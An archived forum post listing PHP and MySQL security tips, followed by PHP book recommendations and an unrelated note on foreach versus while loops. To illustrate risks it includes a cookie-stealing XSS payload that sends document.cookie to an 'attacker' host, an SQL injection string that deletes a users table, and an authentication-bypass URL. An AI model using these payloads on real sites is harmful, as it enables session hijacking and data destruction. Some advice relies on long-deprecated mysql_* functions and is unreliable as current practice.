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PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL

I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn’t lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess.

1. Do not trust user input
If you are expecting an integer call intval() (or use cast) or if you don’t expect a username to have a dash (-) in it, check it with strstr() and prompt the user that this username is not valid.

Here is an example:

$post_id = intval($_GET['post_id']);
mysql_query("SELECT * FROM post WHERE id = $post_id");

Now $post_id will be an integer for sure

2. Validate user input on the server side
If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.
JavaScript validation is only good to reduce the server load.

3. Do not use user input directly in your SQL queries
Use mysql_real_escape_string() to escape the user input.
PHP.net recommends this function: (well a little different)

  function escape($values) {
   if(is_array($values)) {
    $values = array_map('escape', $values);
   } else {
    /* Quote if not integer */
    if ( !is_numeric($values) || $values{0} == '0' ) {
     $values = "'" .mysql_real_escape_string($values) . "'";
    }
   }
   return $values;
  }

Then you can use it like this:

$username = escape($_POST['username']);
mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */

4. In your SQL queries don’t put integers in quotes
For example $id is suppose to be an integer:

$id = "0; DELETE FROM users";
$id = mysql_real_escape_string($id); // 0; DELETE FROM users -  mysql_real_escape_string doesn't escape ;
mysql_query("SELECT * FROM users WHERE id='$id'");

Note that, using intval() would fix the problem here.

5. Always escape the output
This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:

<script>alert('');</script>

If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:

<script>document.location.replace('http://attacker/?c='+document.cookie);</script>

With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users’ sessions and appear to be logged in as other users.

When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, ‘UTF-8′);

6. When uploading files, validate the file mime type
If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.

One quick way is to check the file extension:

$valid_extensions = array('jpg', 'gif', 'png'); // ...
 
$file_name  = basename($_FILES['userfile']['name']);
$_file_name = explode('.', $file_name);
$ext        = $_file_name[ count($_file_name) - 1 ];
 
if( !in_array($ext, $valid_extensions) ) {
 /* This file is invalid */
}

Note that validating extension is a very simple way, and not the best way, to validate file uploads but it’s effective;
simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.

7. If you are using 3rd party code libraries, be sure to keep them up to date
If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.

8. Give your database users just enough permissions
If a database user is never going to drop tables, then when creating that user don’t give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.

9. Do not allow hosts other than localhost to connect to your database
If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.

10. Your library file extensions should be PHP
.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding:)) and possibly find exploits or see your passwords etc.
Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:

deny from all

11. Have register globals off or define your variables first
Register globals can be very dangerous, consider this bit of code:

if( user_logged_in() ) {
 $auth = true;
}
 
if( $auth ) {
 /* Do some admin stuff */
}

Now with register globals on an attacker can view this page like this and bypass your authentication:
[url]http://yourwebsite.com/admin.php?auth=1[/url]

If you have registered globals on and you can’t turn it off for some reason you can fix these issues by defining your variables first:

$auth = false;
if( user_logged_in() ) {
 $auth = true;
}
 
if( $auth ) {
 /* Do some admin stuff */
}

Defining your variables first is a good programming practice that I suggest you follow anyway.

12. Keep PHP itself up to date
Just take a look at [url]www.php.net[/url] and see release announcements and note how many security issues they fix on every release to understand why this is important.

13. Read security books
Always find new books about PHP security to read; you can start by reading the 4th book in the Learning PHP Post, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.

14. Contribute to this list
Feel free to reply to this thread and add to this list, it will be helpful for everyone!

Thanks!
-Codehead

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…

Learning PHP – best PHP books

PHP and MySQL Web Development (4th Edition) (Developer’s Library) (Hardcover)
by, Luke Welling and Laura Thomson

This book is one of the best books on PHP and MySQL. It starts with introductions to PHP and MySQL and then shows you how to write common applications from scratch using these technologies. You will learn how to write a shopping cart, a content management system (CMS), a web based email service, a mailing list manager, a forum application, and more.
Some other useful topics covered in this book are:
How to run an E-Commerce site, Session management, user login and registration, generating images and PDF documents on the fly with PHP, using network protocols with PHP, Object Oriented Programming (OOP), regular expressions, etc.
_________________________________________________

Advanced PHP Programming
by, George Schlossnagle

This book will teach you advanced techniques required to make a large scale web application (web site), there are many advanced topics covered in this book such as:
Various caching techniques using PHP, unit testing, good API design, interacting with remote services, Object Oriented Programming (OOP) through design patterns, Session handling, and more.
_________________________________________________

PHP|Architect’s Guide to PHP Design Patterns
by, Jason E. Sweat

This book covers many of the Design Patterns that are common in developing websites and is one of the first PHP Design Patterns books. Code samples are in PHP4 and PHP5.
The book covers 16 different design patterns including:
The ValueObject Pattern, The Factory Pattern, The Singleton Pattern, The Registry Pattern, The MockObject Pattern, The Strategy Pattern, The Model-View-Controller Pattern, and many more.
_________________________________________________

PHP|Architect’s Guide to PHP Security
by, Ilia Alshanetsky

This book will teach you how to make secure and reliable web applications, the author is one of the contributors to PHP programming language core.
Topics covered are: Input validation, Cross-Site Scripting (XSS) attacks prevention, Command Injection attacks prevention, SQL Injection attacks prevention, Code injection attacks prevention, and more.
This is a MUST read book for PHP developers.
_________________________________________________

Mastering Regular Expressions (3rd Edition)
by, Jeffrey E F Friedl

This book is the best book on Regular Expressions. If you’re having trouble learning Regular Expressions,this book will help you grasp the concept and master them.
Plus, the 3rd edition has an entire chapter dedicated to PHP.

This is not possible because ‘foreach’ operates on a copy of the array so there is no way to do it, don’t waste your time

BUT

You can work around this by replacing the ‘foreach’ with a ‘while’ loop, but before you do so, you must know that the following loops are functionally identical:

foreach ($days as $day) {
   echo $day;
}
 
while (list(, $day) = each($days)) {
   echo $day;
}

The same is true for these two, they are functionally identical:

foreach ($days as $i => $day) {
   echo $i .': ' .$day;
}
 
while (list($i, $day) = each($days)) {
   echo $i .': ' .$day;
}

‘While’ doesn’t operate on a copy of the array so you can do something like this, replace your ‘foreach’ with a ‘while’ loop and:

while (list(, $token) = each($tokens)) {
   /* Skip white spaces */
   if ($token == ' ') {
      while ($token == ' ') $token = next($tokens);
   }
}

I hope this makes sense